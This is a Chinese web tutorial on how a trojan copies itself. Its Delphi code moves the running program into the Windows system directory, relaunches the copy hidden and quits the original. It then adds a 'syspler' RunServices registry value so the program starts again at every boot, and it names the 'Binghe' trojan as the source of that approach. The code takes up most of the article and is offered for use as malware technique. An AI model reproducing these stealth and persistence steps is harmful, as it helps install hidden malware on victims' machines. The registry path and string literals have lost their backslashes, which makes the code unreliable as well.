Delphi实现木马自我拷贝方法
木马实现自我拷贝的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,继而退出旧程序.
本例即以Delphi实现木马的自我拷贝。
首先打开Delphi,新建一个工程,在窗口的Create事件中写入如下代码:
procedure TForm1.FormCreate(Sender: TObject); var myname: string; begin myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到WindowsSystem下} Winexec(pchar(GetWindir + myname), sw_hide);//运行WindowsSystem下的新文件 application.Terminate;//退出 end; end;
其中GetWinDir是自定义函数,起功能是找出WindowsSystem的路径.
function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]<>'' then Result := Result + ''; end;
如何能使程序能在windows启动时自动启动?
为了程序能在Windows每次启动时自动运行,可以通过以下途径来实现.“冰河”用注册表的方式。
加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:
procedure TForm1.FormCreate(Sender: TObject); const K = 'SoftwareMicrosoftWindowsCurrentVersionRunServices'; var myname: string; begin myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows/System32下} Winexec(pchar(GetWindir + myname), sw_hide);//运行WindowsSystem下的新文件 application.Terminate;//退出 end; with TRegistry.Create do try RootKey := HKEY_LOCAL_MACHINE; OpenKey( K, TRUE ); WriteString( 'syspler', application.ExeName ); finally free; end; end;
上一篇:Delphi之Pascal语言中的关键字及保留字汇总
栏 目:Delphi
下一篇:Delphi用TActionList实现下载文件的方法
本文标题:Delphi实现木马自我拷贝方法
本文地址:https://www.xiuzhanwang.com/a1/Delphi/8627.html
您可能感兴趣的文章
- 01-10在Delphi实现在数据库中存取图像的图文演示无错
- 01-10delphi建立、读取、存贮INI文件的方法《三》
- 01-10Delphi Command模式
- 01-10delphi 正弦曲线图
- 01-10delphi建立、读取、存贮INI文件的方法《二》
- 01-10插件管理框架 for Delphi(二)
- 01-10插件管理框架 for Delphi(一)
- 01-10Delphi中判断文件是否为文本文件的函数
- 01-10delphi中一个值得大家来考虑的DLL问题
- 01-10初探Delphi中的插件编程
阅读排行
本栏相关
- 01-10在Delphi实现在数据库中存取图像的图
- 01-10delphi建立、读取、存贮INI文件的方法
- 01-10delphi 正弦曲线图
- 01-10Delphi Command模式
- 01-10delphi建立、读取、存贮INI文件的方法
- 01-10插件管理框架 for Delphi(二)
- 01-10插件管理框架 for Delphi(一)
- 01-10Delphi中判断文件是否为文本文件的函
- 01-10delphi中一个值得大家来考虑的DLL问题
- 01-10初探Delphi中的插件编程
随机阅读
- 01-10C#中split用法实例总结
- 08-05DEDE织梦data目录下的sessions文件夹有什
- 01-11ajax实现页面的局部加载
- 08-05织梦dedecms什么时候用栏目交叉功能?
- 01-11Mac OSX 打开原生自带读写NTFS功能(图文
- 01-10delphi制作wav文件的方法
- 01-10SublimeText编译C开发环境设置
- 04-02jquery与jsp,用jquery
- 01-10使用C语言求解扑克牌的顺子及n个骰子
- 08-05dedecms(织梦)副栏目数量限制代码修改